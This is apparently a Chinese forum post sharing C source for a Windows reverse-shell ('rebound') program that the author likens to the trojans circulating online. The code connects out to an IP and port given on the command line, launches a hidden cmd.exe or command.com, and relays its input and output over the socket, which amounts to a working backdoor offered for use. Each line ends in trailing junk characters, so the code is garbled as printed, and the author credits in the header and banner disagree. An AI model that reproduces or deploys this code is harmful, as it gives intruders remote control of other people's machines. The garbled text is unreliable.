这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `vUilh ^c
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/* ============================== kJ{X5&,_
Rebound port in Windows NT r IY_1
By wind,2006/7 p'!cGJL
===============================*/ <kp?*xV]]
#include (Y:5u}*Y
#include iz&)FuOr
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#pragma comment(lib,"wsock32.lib") xa ??OT`(
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void OutputShell(); |&3[YZY
SOCKET sClient; y&UcTE2;%(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a!]'S4JS
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void main(int argc,char **argv) ZI}7#K<9X
{ e'p'{]r<w
WSADATA stWsaData; l7n c8K
int nRet; 'tklz*
SOCKADDR_IN stSaiClient,stSaiServer; `gx_+m^
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if(argc != 3) pFx7URZA
{ [a`89'"z
printf("Useage:\n\rRebound DestIP DestPort\n"); 7"FsW3an
return; IyOb0WiEj
} n~@;[=o?5
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WSAStartup(MAKEWORD(2,2),&stWsaData); I&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !Qy%sY
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stSaiClient.sin_family = AF_INET; 1pg&?L.MA
stSaiClient.sin_port = htons(0); pxDkf|*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Et}S*!IS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /0A9d-Qd<
{ ]MKW5Kq
printf("Bind Socket Failed!\n"); VG_ PBG(
return; AAb3Jf`UW
} fp^{612O?
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stSaiServer.sin_family = AF_INET; hxZ5EKBy
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {Cd Q)|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I6S!-i
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jJml[iC
{ 5_ !s\ 5
printf("Connect Error!"); *j6KQZ"
return; 0}$Zr*|;Y
} B<zoa=
OutputShell(); C0(?f[/(M
} OX-t#R`
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void OutputShell() 4YX/=
{ o<cg9
char szBuff[1024]; 1DLAfsLlj
SECURITY_ATTRIBUTES stSecurityAttributes; 6V-u<FJ
OSVERSIONINFO stOsversionInfo; q!iSY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LDc?/
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STARTUPINFO stStartupInfo; ~.7/o0'+
char *szShell; )31{.c/
PROCESS_INFORMATION stProcessInformation; KPHtD4
unsigned long lBytesRead; K2|2Ks_CS
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UTwXN |'|
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; VokIc&!Uz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'o}v{f
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fj;];1nt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `xv2,Z9<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UI2TW)^2
stStartupInfo.wShowWindow = SW_HIDE; BA(erf>
stStartupInfo.hStdInput = hReadPipe; GBeWF-`B
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *uW l 804
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GetVersionEx(&stOsversionInfo); h@AKfE!\~
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switch(stOsversionInfo.dwPlatformId) Aqy y\G;
{ 3V uoDmG
case 1: O"^3,-
szShell = "command.com"; R.x^
break; vG'6?%38
default:
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szShell = "cmd.exe"; _nwsIjsW
break; u1 Z;n
} kx{LY`pY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QQI,$HId
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send(sClient,szMsg,77,0); I-Q@v`
while(1) ZNDn! Sj
{ +}VaQ8ti4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); OCW0$V6;D-
if(lBytesRead) Ah2*7@U
{ `^v=* &
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |qs8(
5z0
send(sClient,szBuff,lBytesRead,0); *jR4OY|DXH
} [g<Y,0,J
else [x%[N)U3
{ I4XnJ[N%
lBytesRead=recv(sClient,szBuff,1024,0); baQORU=X
if(lBytesRead<=0) break; =Gv*yR*]t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~%chF/H
} _"%hcCMw
} 6.Jvqn
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return; Bo,>blspw
}